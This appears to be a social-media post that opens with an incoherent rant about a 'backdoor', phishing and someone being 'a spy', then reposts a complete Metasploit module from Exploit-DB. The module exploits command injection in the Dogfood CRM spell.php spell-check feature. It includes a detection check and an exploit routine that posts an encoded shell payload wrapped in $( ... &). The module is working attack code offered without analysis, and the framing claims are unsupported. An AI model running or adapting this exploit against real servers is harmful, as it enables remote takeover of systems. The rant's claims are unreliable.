DOGFOOD NSA RUSSIAN CYBER INTEL ...BACKDOOR

Hi everybody! welcome back to war! last nigh "gazer" no such thing as email phisphing ...bullshit! and Cerlet is a spy. Here's the remote App

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

    Rank = ExcellentRanking

 

    include Msf::Exploit::Remote::HttpClient

 

    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Dogfood CRM spell.php Remote Command Execution',

            'Description'    => %q{

                    This module exploits a previously unpublished vulnerability in the

                Dogfood CRM mail function which is vulnerable to command injection

                in the spell check feature.  Because of character restrictions, this

                exploit works best with the double-reverse telnet payload. This

                vulnerability was discovered by LSO and affects v2.0.10.

            },

            'Author'         =>

                [

                    'LSO ', # Exploit module

                    'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).

                ],

            'License'        => BSD_LICENSE,

            'Version'        => '$Revision: 9669 $',

            'References'     =>

                [

                    [ 'OSVDB', '54707' ],

                    [ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],

                ],

            'Privileged'     => false,

            'Platform'       => ['unix'], # patrickw - removed win, linux -> untested

            'Arch'           => ARCH_CMD,

            'Payload'        =>

                {

                    'Space'       => 1024,

                    'DisableNops' => true,

                    'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install

                    'Compat'      =>

                        {

                            'PayloadType' => 'cmd',

                            'RequiredCmd' => 'generic perl ruby bash telnet',

                        }

                },

            'Targets'        => [ ['Automatic', { }], ],

            'DefaultTarget'  => 0,

            'DisclosureDate' => 'Mar 03 2009'

            ))

 

        register_options(

            [

                OptString.new('URIPATH',   [ true,  "The URI of the spell checker", '/dogfood/mail/spell.php']),

            ], self.class)

 

    end

 

    def check

        res = send_request_raw(

            {

                'uri' => datastore['URIPATH'],

            }, 1)

 

        if (res.body =~ /Spell Check complete/)

            return Exploit::CheckCode::Detected

        end

        return Exploit::CheckCode::Safe

    end

 

    def exploit

        timeout = 1

 

        cmd = payload.encoded

        data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"

        uri = datastore['URIPATH']

 

        response = send_request_cgi(

            {

            'uri' => uri,

            'method' => "POST",

            'data' => data

            },

        timeout)

 

        handler

    end

end




https://www.exploit-db.com/exploits/16917/


Exploit

Dogfood CRM - spell.php Remote Command Execution (Metasploit). Webapps exploit for PHP platform. Tags: Metasploit Framework

EXPLOIT-DB.COM